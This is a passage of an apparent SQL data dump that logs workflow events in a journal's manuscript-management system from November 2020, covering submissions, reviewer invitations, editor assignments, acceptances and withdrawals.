Editor Decision Accepted article',6204,'Editor',1067),(54972,'2020-11-11 14:20:52','Editor has been Editor Decision Accepted article',6160,'Editor',1067),(54973,'2020-11-11 14:21:49','Editor has Accepted to review Manuscript',6630,'Editor',1067),(54978,'2020-11-12 04:21:28','Publisher has Invited Reviewer',5760,'Publisher',984),(54979,'2020-11-12 04:21:32','Publisher has Invited Reviewer',5760,'Publisher',984),(54980,'2020-11-12 04:21:36','Publisher has Invited Reviewer',5760,'Publisher',984),(54981,'2020-11-12 04:21:41','Publisher has Invited Reviewer',5760,'Publisher',984),(54982,'2020-11-12 04:21:45','Publisher has Invited Reviewer',5760,'Publisher',984),(54983,'2020-11-12 04:21:50','Publisher has Invited Reviewer',5760,'Publisher',984),(54984,'2020-11-12 04:21:54','Publisher has Invited Reviewer',5760,'Publisher',984),(54985,'2020-11-12 04:21:58','Publisher has Invited Reviewer',5760,'Publisher',984),(54986,'2020-11-12 04:22:03','Publisher has Invited Reviewer',5760,'Publisher',984),(54987,'2020-11-12 04:22:07','Publisher has Invited Reviewer',5760,'Publisher',984),(54988,'2020-11-12 04:23:35','Publisher has Invited Reviewer',6216,'Publisher',984),(54989,'2020-11-12 04:23:39','Publisher has Invited Reviewer',6216,'Publisher',984),(54990,'2020-11-12 04:23:44','Publisher has Invited Reviewer',6216,'Publisher',984),(54991,'2020-11-12 04:23:48','Publisher has Invited Reviewer',6216,'Publisher',984),(54992,'2020-11-12 04:23:53','Publisher has Invited Reviewer',6216,'Publisher',984),(54993,'2020-11-12 04:23:57','Publisher has Invited Reviewer',6216,'Publisher',984),(54994,'2020-11-12 04:24:01','Publisher has Invited Reviewer',6216,'Publisher',984),(54995,'2020-11-12 04:24:06','Publisher has Invited Reviewer',6216,'Publisher',984),(54996,'2020-11-12 04:24:10','Publisher has Invited Reviewer',6216,'Publisher',984),(54997,'2020-11-12 04:24:14','Publisher has Invited Reviewer',6216,'Publisher',984),(55041,'2020-11-12 05:56:16','Publisher has Invited Reviewer',6564,'Publisher',75),(55042,'2020-11-12 05:56:21','Publisher has Invited Reviewer',6564,'Publisher',75),(55043,'2020-11-12 05:56:25','Publisher has Invited Reviewer',6564,'Publisher',75),(55044,'2020-11-12 05:56:30','Publisher has Invited Reviewer',6564,'Publisher',75),(55045,'2020-11-12 05:56:34','Publisher has Invited Reviewer',6564,'Publisher',75),(55046,'2020-11-12 05:56:38','Publisher has Invited Reviewer',6564,'Publisher',75),(55049,'2020-11-12 06:30:28','Publisher has Invited Reviewer',6630,'Publisher',319),(55050,'2020-11-12 06:30:29','Publisher has Invited Reviewer',6630,'Publisher',319),(55051,'2020-11-12 06:30:30','Publisher has Invited Reviewer',6630,'Publisher',319),(55052,'2020-11-12 06:30:31','Publisher has Invited Reviewer',6630,'Publisher',319),(55053,'2020-11-12 06:30:32','Publisher has Invited Reviewer',6630,'Publisher',319),(55054,'2020-11-12 06:30:34','Publisher has Invited Reviewer',6630,'Publisher',319),(55055,'2020-11-12 06:30:35','Publisher has Invited Reviewer',6630,'Publisher',319),(55056,'2020-11-12 06:30:35','Publisher has Invited Reviewer',6630,'Publisher',319),(55057,'2020-11-12 06:30:37','Publisher has Invited Reviewer',6630,'Publisher',319),(55058,'2020-11-12 06:30:37','Publisher has Invited Reviewer',6630,'Publisher',319),(55059,'2020-11-12 06:30:38','Publisher has Invited Reviewer',6630,'Publisher',319),(55060,'2020-11-12 06:30:39','Publisher has Invited Reviewer',6630,'Publisher',319),(55072,'2020-11-12 07:15:57','Publisher has Invited Reviewer',6440,'Publisher',48),(55079,'2020-11-12 09:06:38','Publisher has been Withdrawn  article',6328,'Publisher',673),(55102,'2020-11-12 10:36:52','Reviewer has submitted comments',6216,'Reviewer',10967),(55103,'2020-11-12 10:38:01','Reviewer has submitted comments',5760,'Reviewer',10967),(55125,'2020-11-12 11:32:38','Publisher has been Assigned Editor',6538,'Publisher',984),(55126,'2020-11-12 11:32:58','Publisher has been Assigned Editor',6631,'Publisher',984),(55133,'2020-11-12 11:38:58','Publisher has Invited Reviewer',6463,'Publisher',48),(55138,'2020-11-12 11:44:18','Publisher has Invited Reviewer',6358,'Publisher',48),(55141,'2020-11-12 11:45:47','Publisher has Invited Reviewer',6305,'Publisher',48),(55147,'2020-11-12 11:47:04','Editor has been Editor Decision Accepted article',6463,'Editor',194),(55149,'2020-11-12 11:47:20','Editor has been Editor Decision Accepted article',6440,'Editor',194),(55154,'2020-11-12 11:48:59','Editor has been Editor Decision Accepted article',6358,'Editor',194),(55157,'2020-11-12 11:49:26','Editor has been Editor Decision Accepted article',6305,'Editor',194),(55158,'2020-11-12 11:50:41','Editor has been Editor Decision Accepted article',3339,'Editor',195),(55165,'2020-11-12 12:43:20','Publisher has been Withdrawn  article',6065,'Publisher',75),(55167,'2020-11-12 12:48:17','Publisher has Invited Reviewer',6096,'Publisher',75),(55172,'2020-11-12 13:16:06','Reviewer has submitted comments',6096,'Reviewer',13225),(55176,'2020-11-12 13:22:54','Editor has Accepted to review Manuscript',6617,'Editor',160),(55177,'2020-11-12 13:24:19','Editor has Invited Reviewer',6617,'Editor',160),(55178,'2020-11-12 13:24:24','Editor has Invited Reviewer',6617,'Editor',160),(55179,'2020-11-12 13:24:28','Editor has Invited Reviewer',6617,'Editor',160),(55180,'2020-11-12 13:24:32','Editor has Invited Reviewer',6617,'Editor',160),(55181,'2020-11-12 13:24:37','Editor has Invited Reviewer',6617,'Editor',160),(55188,'2020-11-12 18:01:19','Manuscript Submitted by Author',6638,'Author',7769),(55194,'2020-11-12 20:19:35','Manuscript Submitted by Author',6641,'Author',6984),(55195,'2020-11-12 21:40:34','Manuscript Submitted by Author',6642,'Author',6984),(55196,'2020-11-12 23:16:33','Manuscript Submitted by Author',6643,'Author',6984),(55197,'2020-11-13 00:54:20','Manuscript Submitted by Author using Submission form',6644,'Author',7901),(55198,'2020-11-13 05:38:22','Publisher has been Assigned Editor',6644,'Publisher',274),(55199,'2020-11-13 05:39:55','Publisher has been Assigned Editor',6643,'Publisher',274),(55200,'2020-11-13 05:41:51','Publisher has been Assigned Editor',6642,'Publisher',274),(55201,'2020-11-13 05:43:35','Publisher has been Assigned Editor',6641,'Publisher',274),(55202,'2020-11-13 05:44:45','Publisher has been Assigned Editor',6638,'Publisher',274),(55203,'2020-11-13 05:53:00','Editor has Accepted to review Manuscript',6216,'Editor',1342),(55204,'2020-11-13 05:53:15','Editor has been Editor Decision Accepted article',6216,'Editor',1342),(55205,'2020-11-13 05:54:14','Publisher: Accept Notification has been sent to Author',6216,'Publisher',984),(55206,'2020-11-13 05:54:34','Manuscript Submitted by Publisher',6645,'Publisher',274),(55207,'2020-11-13 05:54:45','Publisher has been Assigned Editor',6645,'Publisher',274),(55208,'2020-11-13 06:06:11','Editor has Accepted to review Manuscript',5760,'Editor',1406),(55209,'2020-11-13 06:06:26','Editor has been Editor Decision Accepted article',5760,'Editor',1406),(55210,'2020-11-13 06:07:12','Publisher: Accept Notification has been sent to Author',5760,'Publisher',984),(55222,'2020-11-13 07:08:15','Author sent Email',4109,'Author',5297),(55223,'2020-11-13 07:09:37','Author sent Email',4092,'Author',5297),(55224,'2020-11-13 07:20:27','Author sent Email',4920,'Author',6136),(55236,'2020-11-13 09:36:38','Publisher: Accept Notification has been sent to Author',6390,'Publisher',673),(55250,'2020-11-13 11:20:26','Publisher has been Accepted Articles  article',6232,'Publisher',75),(55274,'2020-11-13 12:11:15','Editor has Accepted to review Manuscript',6368,'Editor',161),(55275,'2020-11-13 12:11:21','Editor has Accepted to review Manuscript',6428,'Editor',161),(55276,'2020-11-13 12:11:25','Editor has Accepted to review Manuscript',6564,'Editor',161),(55277,'2020-11-13 12:11:30','Editor has Accepted to review Manuscript',6592,'Editor',161),(55278,'2020-11-13 12:11:47','Editor has been Editor Decision Accepted article',6096,'Editor',161),(55279,'2020-11-13 12:12:37','Publisher: Accept Notification has been sent to Author',6096,'Publisher',75),(55331,'2020-11-14 13:07:29','Publisher has Invited Reviewer',5902,'Publisher',984),(55332,'2020-11-14 13:07:33','Publisher has Invited Reviewer',5902,'Publisher',984),(55333,'2020-11-14 13:07:37','Publisher has Invited Reviewer',5902,'Publisher',984),(55334,'2020-11-14 13:07:42','Publisher has Invited Reviewer',5902,'Publisher',984),(55335,'2020-11-14 13:07:46','Publisher has Invited Reviewer',5902,'Publisher',984),(55336,'2020-11-14 13:07:51','Publisher has Invited Reviewer',5902,'Publisher',984),(55337,'2020-11-14 13:07:55','Publisher has Invited Reviewer',5902,'Publisher',984),(55338,'2020-11-14 13:07:59','Publisher has Invited Reviewer',5902,'Publisher',984),(55339,'2020-11-14 13:08:03','Publisher has Invited Reviewer',5902,'Publisher',984),(55340,'2020-11-14 13:08:08','Publisher has Invited Reviewer',5902,'Publisher',984),(55345,'2020-11-14 21:22:44','Manuscript Submitted by Author using Submission form',6658,'Author',7918),(55348,'2020-11-15 11:04:48','Manuscript Submitted by Author',6660,'Author',7755),(55357,'2020-11-15 16:06:27','Manuscript Submitted by Author using Submission form',6663,'Author',7921),(55359,'2020-11-15 17:53:17','Manuscript Submitted by Author using Submission form',6665,'Author',7923),(55360,'2020-11-15 18:28:24','Manuscript Submitted by Author using Submission form',6666,'Author',7924),(55364,'2020-11-16 02:49:09','Manuscript Submitted by Author',6669,'Author',2710),(55407,'2020-11-16 07:53:18','Publisher has been Assigned Editor',6665,'Publisher',48),(55408,'2020-11-16 07:54:16','Publisher has been Assigned Editor',6663,'Publisher',48),(55409,'2020-11-16 07:54:28','Publisher has been Assigned Editor',6660,'Publisher',48),(55411,'2020-11-16 08:12:53','Publisher has Invited Reviewer',6665,'Publisher',48),(55412,'2020-11-16 08:13:14','Publisher has Invited Reviewer',6663,'Publisher',48),(55413,'2020-11-16 08:13:35','Publisher has Invited Reviewer',6660,'Publisher',48),(55416,'2020-11-16 08:44:48','Author sent Email',6502,'Author',7770),(55433,'2020-11-16 09:42:37','Manuscript Submitted by Author using Submission form',6677,'Author',7934),(55450,'2020-11-16 12:03:48','Manuscript Submitted by Author',6680,'Author',3583),(55451,'2020-11-16 12:19:26','Manuscript has been Revised',6584,'Author',7841),(55452,'2020-11-16 12:34:23','Manuscript Submitted by Author using Submission form',6681,'Author',7937),(55459,'2020-11-16 13:00:44','Publisher has been Assigned Editor',6677,'Publisher',319),(55462,'2020-11-16 13:52:47','Reviewer has submitted comments',5902,'Reviewer',10963),(55474,'2020-11-16 18:01:08','Manuscript Submitted by Author using Submission form',6683,'Author',7939),(55475,'2020-11-16 20:15:07','Reviewer has submitted comments',6216,'Reviewer',10966),(55476,'2020-11-16 20:20:22','Reviewer has submitted comments',6216,'Reviewer',10966),(55477,'2020-11-17 00:34:09','Manuscript Submitted by Author using Submission form',6684,'Author',7940),(55526,'2020-11-17 06:02:31','Publisher has been Assigned Editor',6681,'Publisher',48),(55528,'2020-11-17 06:25:52','Editor has Accepted to review Manuscript',6677,'Editor',1067),(55530,'2020-11-17 07:00:56','Reviewer has submitted comments',6518,'Reviewer',12154),(55532,'2020-11-17 08:10:36','Publisher has been Assigned Editor',6683,'Publisher',972),(55533,'2020-11-17 08:11:26','Editor has Accepted to review Manuscript',6683,'Editor',1367),(55534,'2020-11-17 08:12:05','Publisher has Invited Reviewer',6683,'Publisher',972),(55535,'2020-11-17 08:12:05','Publisher has Invited Reviewer',6683,'Publisher',972),(55536,'2020-11-17 08:12:06','Publisher has Invited Reviewer',6683,'Publisher',972),(55537,'2020-11-17 08:12:20','Publisher has Invited Reviewer',6683,'Publisher',972),(55582,'2020-11-17 10:39:39','Reviewer has submitted comments',6350,'Reviewer',13225),(55583,'2020-11-17 10:41:37','Publisher : Notified Editor',6350,'Publisher',75),(55599,'2020-11-17 12:09:23','Publisher has Invited Reviewer',6227,'Publisher',376),(55600,'2020-11-17 12:09:27','Publisher has Invited Reviewer',6227,'Publisher',376),(55601,'2020-11-17 12:09:31','Publisher has Invited Reviewer',6227,'Publisher',376),(55603,'2020-11-17 12:10:12','Publisher has Invited Reviewer',6165,'Publisher',376),(55604,'2020-11-17 12:10:17','Publisher has Invited Reviewer',6165,'Publisher',376),(55607,'2020-11-17 12:10:58','Publisher has Invited Reviewer',6139,'Publisher',376),(55608,'2020-11-17 12:11:02','Publisher has Invited Reviewer',6139,'Publisher',376),(55610,'2020-11-17 12:11:40','Publisher has Invited Reviewer',6043,'Publisher',376),(55611,'2020-11-17 12:11:44','Publisher has Invited Reviewer',6043,'Publisher',376),(55612,'2020-11-17 12:12:24','Publisher has Invited Reviewer',6085,'Publisher',376),(55642,'2020-11-17 13:06:24','Publisher has Invited Reviewer',6681,'Publisher',48),(55643,'2020-11-17 13:18:35','Editor has Accepted to review Manuscript',6665,'Editor',194),(55644,'2020-11-17 13:18:49','Editor has been Editor Decision Accepted article',6665,'Editor',194),(55645,'2020-11-17 13:18:55','Editor has Accepted to review Manuscript',6663,'Editor',194),(55646,'2020-11-17 13:19:02','Editor has been Editor Decision Accepted article',6663,'Editor',194),(55647,'2020-11-17 13:19:48','Publisher: Accept Notification has been sent to Author',6665,'Publisher',48),(55648,'2020-11-17 13:20:57','Publisher: Accept Notification has been sent to Author',6663,'Publisher',48),(55649,'2020-11-17 14:45:36','Manuscript Submitted by Author using Submission form',6689,'Author',7945),(55650,'2020-11-17 15:43:59','Editor has been Revise (Notify Author) article',6350,'Editor',160),(55658,'2020-11-18 01:26:08','Reviewer has submitted comments',6165,'Reviewer',7287),(55665,'2020-11-18 05:21:04','Publisher has been Assigned Editor',6666,'Publisher',75),(55666,'2020-11-18 05:21:20','Publisher has been Assigned Editor',6684,'Publisher',75),(55667,'2020-11-18 05:23:34','Publisher has Invited Reviewer',6591,'Publisher',75),(55668,'2020-11-18 05:23:39','Publisher has Invited Reviewer',6591,'Publisher',75),(55669,'2020-11-18 05:23:43','Publisher has Invited Reviewer',6591,'Publisher',75),(55670,'2020-11-18 05:24:09','Publisher has Invited Reviewer',6592,'Publisher',75),(55671,'2020-11-18 05:24:14','Publisher has Invited Reviewer',6592,'Publisher',75),(55672,'2020-11-18 05:24:18','Publisher has Invited Reviewer',6592,'Publisher',75),(55673,'2020-11-18 05:24:23','Publisher has Invited Reviewer',6592,'Publisher',75),(55674,'2020-11-18 05:25:57','Editor has been Editor Decision Accepted article',6350,'Editor',160),(55676,'2020-11-18 05:26:46','Publisher: Accept Notification has been sent to Author',6350,'Publisher',75),(55677,'2020-11-18 05:28:24','Publisher has Invited Reviewer',6242,'Publisher',75),(55681,'2020-11-18 05:56:20','Reviewer has submitted comments',6242,'Reviewer',13225),(55682,'2020-11-18 05:58:29','Publisher : Notified Editor',6242,'Publisher',75),(55772,'2020-11-18 10:15:51','Publisher has been Assigned Editor',6689,'Publisher',85),(55774,'2020-11-18 10:26:30','Publisher has Invited Reviewer',6689,'Publisher',85),(55775,'2020-11-18 10:26:31','Publisher has Invited Reviewer',6689,'Publisher',85),(55776,'2020-11-18 10:26:32','Publisher has Invited Reviewer',6689,'Publisher',85),(55777,'2020-11-18 10:26:33','Publisher has Invited Reviewer',6689,'Publisher',85),(55778,'2020-11-18 10:26:34','Publisher has Invited Reviewer',6689,'Publisher',85),(55779,'2020-11-18 10:26:35','Publisher has Invited Reviewer',6689,'Publisher',85),(55780,'2020-11-18 10:27:56','Publisher has Invited Reviewer',6572,'Publisher',85),(55781,'2020-11-18 10:27:57','Publisher has Invited Reviewer',6572,'Publisher',85),(55782,'2020-11-18 10:27:58','Publisher has Invited Reviewer',6572,'Publisher',85),(55783,'2020-11-18 10:28:00','Publisher has Invited Reviewer',6572,'Publisher',85),(55784,'2020-11-18 10:28:01','Publisher has Invited Reviewer',6572,'Publisher',85),(55785,'2020-11-18 10:28:01','Publisher has Invited Reviewer',6572,'Publisher',85),(55787,'2020-11-18 11:28:45','Publisher has Invited Reviewer',6572,'Publisher',85),(55788,'2020-11-18 11:28:46','Publisher has Invited Reviewer',6572,'Publisher',85),(55789,'2020-11-18 11:28:47','Publisher has Invited Reviewer',6572,'Publisher',85),(55790,'2020-11-18 11:28:48','Publisher has Invited Reviewer',6572,'Publisher',85),(55791,'2020-11-18 11:28:49','Publisher has Invited Reviewer',6572,'Publisher',85),(55792,'2020-11-18 11:28:50','Publisher has Invited Reviewer',6572,'Publisher',85),(55793,'2020-11-18 11:28:51','Publisher has Invited Reviewer',6572,'Publisher',85),(55794,'2020-11-18 11:28:52','Publisher has Invited Reviewer',6572,'Publisher',85),(55795,'2020-11-18 11:28:52','Publisher has Invited Reviewer',6572,'Publisher',85),(55797,'2020-11-18 11:55:55','Manuscript Submitted by Author using Submission form',6695,'Author',7951),(55799,'2020-11-18 12:18:27','Publisher: Accept Notification has been sent to Author',6346,'Publisher',85),(55847,'2020-11-19 06:41:42','Publisher has been Assigned Editor',6695,'Publisher',673),(55883,'2020-11-19 08:57:26','Editor has Accepted to review Manuscript',6666,'Editor',161),(55884,'2020-11-19 08:57:38','Editor has been Editor Decision Accepted article',6242,'Editor',161),(55885,'2020-11-19 08:58:19','Publisher: Accept Notification has been sent to Author',6242,'Publisher',75),(55924,'2020-11-19 11:18:14','Manuscript Submitted by Author using Submission form',6700,'Author',7955),(55949,'2020-11-20 03:10:11','Author sent Email',6096,'Author',7336),(55968,'2020-11-20 04:45:04','Publisher has Invited Reviewer',6538,'Publisher',984),(55969,'2020-11-20 04:45:08','Publisher has Invited Reviewer',6538,'Publisher',984),(55970,'2020-11-20 04:45:12','Publisher has Invited Reviewer',6538,'Publisher',984),(55971,'2020-11-20 04:45:18','Publisher has Invited Reviewer',6538,'Publisher',984),(55972,'2020-11-20 04:45:22','Publisher has Invited Reviewer',6538,'Publisher',984),(55973,'2020-11-20 04:45:27','Publisher has Invited Reviewer',6538,'Publisher',984),(55974,'2020-11-20 04:45:31','Publisher has Invited Reviewer',6538,'Publisher',984),(55975,'2020-11-20 04:45:36','Publisher has Invited Reviewer',6538,'Publisher',984),(55976,'2020-11-20 04:45:40','Publisher has Invited Reviewer',6538,'Publisher',984),(55977,'2020-11-20 04:45:46','Publisher has Invited Reviewer',6538,'Publisher',984),(55979,'2020-11-20 05:18:04','Reviewer has submitted comments',6538,'Reviewer',10967),(55980,'2020-11-20 05:19:35','Reviewer has submitted comments',5902,'Reviewer',10967),(55983,'2020-11-20 05:58:42','Editor has Accepted to review Manuscript',6681,'Editor',194),(55984,'2020-11-20 05:58:51','Editor has been Editor Decision Accepted article',6681,'Editor',194),(55985,'2020-11-20 05:59:00','Editor has Accepted to review Manuscript',6660,'Editor',194),(55986,'2020-11-20 05:59:10','Editor has been Editor Decision Accepted article',6660,'Editor',194),(55992,'2020-11-20 08:02:57','Publisher has Invited Reviewer',6695,'Publisher',673),(55993,'2020-11-20 08:02:57','Publisher has Invited Reviewer',6695,'Publisher',673),(55994,'2020-11-20 08:02:58','Publisher has Invited Reviewer',6695,'Publisher',673),(55995,'2020-11-20 08:02:58','Publisher has Invited Reviewer',6695,'Publisher',673),(55996,'2020-11-20 09:42:41','Editor has Accepted to review Manuscript',6153,'Editor',1394),(55997,'2020-11-20 09:42:52','Editor has been Editor Decision Accepted article',6153,'Editor',1394),(55998,'2020-11-20 09:43:24','Publisher: Accept Notification has been sent to Author',6153,'Publisher',85),(55999,'2020-11-20 09:44:25','Editor has Accepted to review Manuscript',6086,'Editor',1251),(56000,'2020-11-20 09:44:36','Editor has been Editor Decision Accepted article',6086,'Editor',1251),(56001,'2020-11-20 09:45:05','Publisher: Accept Notification has been sent to Author',6086,'Publisher',85),(56035,'2020-11-20 11:28:00','Manuscript Submitted by Author using Submission form',6707,'Author',7962),(56044,'2020-11-20 12:01:04','Publisher has been Assigned Editor',6700,'Publisher',48),(56046,'2020-11-20 12:01:45','Publisher has Invited Reviewer',6700,'Publisher',48),(56047,'2020-11-20 12:27:37','Publisher : Notified Author',6348,'Publisher',85),(56048,'2020-11-20 12:27:52','Publisher : Notified Author',6347,'Publisher',85),(56055,'2020-11-20 14:08:28','Manuscript Submitted by Author using Submission form',6710,'Author',7965),(56057,'2020-11-20 14:50:07','Publisher : Notified Editor',6216,'Publisher',984),(56058,'2020-11-20 14:50:38','Publisher has been Withdrawn  article',5760,'Publisher',984),(56084,'2020-11-21 02:30:05','Publisher : Notified Editor',6518,'Publisher',84),(56085,'2020-11-21 02:30:54','Editor has Accepted to review Manuscript',6518,'Editor',221),(56086,'2020-11-21 02:31:06','Editor has been Revise (Notify Author) article',6518,'Editor',221),(56087,'2020-11-21 02:32:14','Publisher : Notified Author',6518,'Publisher',84),(56153,'2020-11-21 09:34:59','Publisher has been Assigned Editor',6707,'Publisher',85),(56155,'2020-11-21 13:35:06','Author sent Email',5222,'Author',6409),(56158,'2020-11-21 15:31:12','Publisher has Invited Reviewer',6707,'Publisher',85),(56159,'2020-11-21 15:31:13','Publisher has Invited Reviewer',6707,'Publisher',85),(56160,'2020-11-21 15:31:15','Publisher has Invited Reviewer',6707,'Publisher',85),(56161,'2020-11-21 15:31:16','Publisher has Invited Reviewer',6707,'Publisher',85),(56162,'2020-11-21 15:31:17','Publisher has Invited Reviewer',6707,'Publisher',85),(56163,'2020-11-21 15:31:18','Publisher has Invited Reviewer',6707,'Publisher',85),(56164,'2020-11-21 15:31:19','Publisher has Invited Reviewer',6707,'Publisher',85),(56165,'2020-11-21 15:31:20','Publisher has Invited Reviewer',6707,'Publisher',85),(56169,'2020-11-21 21:05:48','Reviewer has submitted comments',6630,'Reviewer',7415),(56213,'2020-11-23 05:32:42','Manuscript Submitted by Author using Submission form',6731,'Author',7985),(56216,'2020-11-23 05:46:36','Manuscript Submitted by Author',6732,'Author',7985),(56222,'2020-11-23 06:35:42','Publisher has been Withdrawn  article',6390,'Publisher',673),(56224,'2020-11-23 07:52:48','Author sent Email',6096,'Author',7336),(56239,'2020-11-23 09:55:55','Publisher has been Assigned Editor',6732,'Publisher',673),(56240,'2020-11-23 09:56:12','Publisher has been Assigned Editor',6731,'Publisher',673),(56244,'2020-11-23 10:23:43','Publisher has been Withdrawn  article',6496,'Publisher',274),(56245,'2020-11-23 10:28:57','Editor has Accepted to review Manuscript',6496,'Editor',1235),(56246,'2020-11-23 10:29:05','Editor has Accepted to review Manuscript',6389,'Editor',1235),(56247,'2020-11-23 10:30:16','Editor has been Editor Decision Accepted article',6389,'Editor',1235),(56248,'2020-11-23 10:31:52','Editor has Accepted to review Manuscript',6497,'Editor',1235),(56249,'2020-11-23 10:32:03','Editor has been Editor Decision Accepted article',6497,'Editor',1235),(56250,'2020-11-23 10:32:08','Author sent Email',6253,'Author',7400),(56251,'2020-11-23 10:32:38','Editor has Accepted to review Manuscript',6582,'Editor',1235),(56252,'2020-11-23 10:36:49','Editor has been Editor Decision Accepted article',6582,'Editor',1235),(56253,'2020-11-23 10:41:12','Editor has Accepted to review Manuscript',6638,'Editor',1235),(56254,'2020-11-23 10:41:19','Editor has been Editor Decision Accepted article',6638,'Editor',1235),(56255,'2020-11-23 10:42:33','Editor has Accepted to review Manuscript',6641,'Editor',1235),(56256,'2020-11-23 10:42:57','Editor has been Editor Decision Accepted article',6641,'Editor',1235),(56257,'2020-11-23 10:45:22','Publisher: Accept Notification has been sent to Author',6389,'Publisher',274),(56258,'2020-11-23 10:45:33','Publisher: Accept Notification has been sent to Author',6497,'Publisher',274),(56259,'2020-11-23 10:45:42','Publisher: Accept Notification has been sent to Author',6582,'Publisher',274),(56260,'2020-11-23 10:45:58','Publisher: Accept Notification has been sent to Author',6638,'Publisher',274),(56261,'2020-11-23 10:46:09','Publisher: Accept Notification has been sent to Author',6641,'Publisher',274),(56262,'2020-11-23 10:47:49','Publisher has been Accepted Articles  article',6389,'Publisher',274),(56263,'2020-11-23 10:48:01','Publisher has been Accepted Articles  article',6497,'Publisher',274),(56264,'2020-11-23 10:48:20','Publisher has been Accepted Articles  article',6582,'Publisher',274),(56265,'2020-11-23 10:48:59','Publisher has been Accepted Articles  article',6638,'Publisher',274),(56266,'2020-11-23 10:49:16','Publisher has been Accepted Articles  article',6641,'Publisher',274),(56271,'2020-11-23 11:28:11','Publisher has Invited Reviewer',6631,'Publisher',984),(56272,'2020-11-23 11:28:15','Publisher has Invited Reviewer',6631,'Publisher',984),(56273,'2020-11-23 11:28:19','Publisher has Invited Reviewer',6631,'Publisher',984),(56274,'2020-11-23 11:28:24','Publisher has Invited Reviewer',6631,'Publisher',984),(56275,'2020-11-23 11:28:28','Publisher has Invited Reviewer',6631,'Publisher',984),(56276,'2020-11-23 11:28:32','Publisher has Invited Reviewer',6631,'Publisher',984),(56277,'2020-11-23 11:28:37','Publisher has Invited Reviewer',6631,'Publisher',984),(56278,'2020-11-23 11:28:41','Publisher has Invited Reviewer',6631,'Publisher',984),(56279,'2020-11-23 11:28:45','Publisher has Invited Reviewer',6631,'Publisher',984),(56280,'2020-11-23 11:28:49','Publisher has Invited Reviewer',6631,'Publisher',984),(56281,'2020-11-23 11:37:18','Publisher has Invited Reviewer',6732,'Publisher',673),(56282,'2020-11-23 11:37:51','Publisher has Invited Reviewer',6732,'Publisher',673),(56283,'2020-11-23 11:37:51','Publisher has Invited Reviewer',6732,'Publisher',673),(56284,'2020-11-23 11:37:52','Publisher has Invited Reviewer',6732,'Publisher',673),(56285,'2020-11-23 11:38:53','Publisher has Invited Reviewer',6731,'Publisher',673),(56286,'2020-11-23 11:38:54','Publisher has Invited Reviewer',6731,'Publisher',673),(56287,'2020-11-23 11:38:54','Publisher has Invited Reviewer',6731,'Publisher',673),(56288,'2020-11-23 11:38:55','Publisher has Invited Reviewer',6731,'Publisher',673),(56289,'2020-11-23 11:39:35','Publisher has Invited Reviewer',6695,'Publisher',673),(56290,'2020-11-23 11:39:35','Publisher has Invited Reviewer',6695,'Publisher',673),(56291,'2020-11-23 11:39:35','Publisher has Invited Reviewer',6695,'Publisher',673),(56292,'2020-11-23 11:45:41','Reviewer has submitted comments',6631,'Reviewer',10967),(56297,'2020-11-23 12:25:08','Editor has Accepted to review Manuscript',6700,'Editor',194),(56298,'2020-11-23 12:25:19','Editor has been Editor Decision Accepted article',6700,'Editor',194),(56302,'2020-11-23 12:32:12','Publisher: Accept Notification has been sent to Author',6700,'Publisher',48),(56339,'2020-11-23 13:35:33','Publisher has been Assigned Editor',6710,'Publisher',75),(56341,'2020-11-23 15:22:54','Manuscript Submitted by Author using Submission form',6737,'Author',7989),(56378,'2020-11-24 05:40:16','Author sent Email',6318,'Author',7515),(56393,'2020-11-24 07:24:56','Manuscript Submitted by Author using Submission form',6741,'Author',7993),(56401,'2020-11-24 10:21:49','Reviewer has submitted comments',6731,'Reviewer',14805),(56417,'2020-11-24 12:01:39','Publisher has Invited Reviewer',6732,'Publisher',673),(56418,'2020-11-24 12:01:40','Publisher has Invited Reviewer',6732,'Publisher',673),(56419,'2020-11-24 12:01:40','Publisher has Invited Reviewer',6732,'Publisher',673),(56420,'2020-11-24 12:01:41','Publisher has Invited Reviewer',6732,'Publisher',673),(56421,'2020-11-24 12:04:15','Publisher has Invited Reviewer',6695,'Publisher',673),(56422,'2020-11-24 12:04:16','Publisher has Invited Reviewer',6695,'Publisher',673),(56423,'2020-11-24 12:04:16','Publisher has Invited Reviewer',6695,'Publisher',673),(56424,'2020-11-24 12:04:17','Publisher has Invited Reviewer',6695,'Publisher',673),(56483,'2020-11-25 05:38:11','Publisher has been Withdrawn  article',5902,'Publisher',984),(56484,'2020-11-25 05:38:22','Publisher has been Withdrawn  article',6216,'Publisher',984),(56486,'2020-11-25 06:01:14','Publisher has Invited Reviewer',6695,'Publisher',673),(56487,'2020-11-25 06:01:14','Publisher has Invited Reviewer',6695,'Publisher',673),(56488,'2020-11-25 06:01:15','Publisher has Invited Reviewer',6695,'Publisher',673),(56501,'2020-11-25 08:17:14','Manuscript Submitted by Author using Submission form',6751,'Author',8004),(56507,'2020-11-25 10:25:53','Editor has been Editor Decision Accepted article',6584,'Editor',1067),(56508,'2020-11-25 10:26:44','Publisher: Accept Notification has been sent to Author',6584,'Publisher',319),(56509,'2020-11-25 10:39:07','Manuscript Submitted by Author using Submission form',6752,'Author',8006),(56536,'2020-11-25 15:49:49','Manuscript Submitted by Author using Submission form',6755,'Author',8009),(56543,'2020-11-26 02:50:29','Manuscript Submitted by Publisher',6759,'Publisher',48),(56555,'2020-11-26 04:02:38','Publisher has been Assigned Editor',6741,'Publisher',984),(56575,'2020-11-26 06:02:15','Manuscript Submitted by Author using Submission form',6761,'Author',8016),(56576,'2020-11-26 06:23:03','Publisher has been Assigned Editor',6759,'Publisher',48),(56578,'2020-11-26 06:23:24','Publisher has been Assigned Editor',6751,'Publisher',48),(56588,'2020-11-26 07:56:09','Publisher has Invited Reviewer',6666,'Publisher',75),(56589,'2020-11-26 07:56:13','Publisher has Invited Reviewer',6666,'Publisher',75),(56590,'2020-11-26 07:56:17','Publisher has Invited Reviewer',6666,'Publisher',75),(56591,'2020-11-26 07:56:21','Publisher has Invited Reviewer',6666,'Publisher',75),(56592,'2020-11-26 07:57:04','Publisher has Invited Reviewer',6684,'Publisher',75),(56593,'2020-11-26 07:57:08','Publisher has Invited Reviewer',6684,'Publisher',75),(56594,'2020-11-26 07:57:12','Publisher has Invited Reviewer',6684,'Publisher',75),(56595,'2020-11-26 07:57:16','Publisher has Invited Reviewer',6684,'Publisher',75),(56596,'2020-11-26 08:08:12','Publisher has Invited Reviewer',6710,'Publisher',75),(56597,'2020-11-26 08:08:17','Publisher has Invited Reviewer',6710,'Publisher',75),(56598,'2020-11-26 08:08:21','Publisher has Invited Reviewer',6710,'Publisher',75),(56599,'2020-11-26 08:39:02','Publisher has Invited Reviewer',6759,'Publisher',48),(56601,'2020-11-26 08:39:52','Publisher has Invited Reviewer',6751,'Publisher',48),(56617,'2020-11-26 12:04:15','Publisher has been Assigned 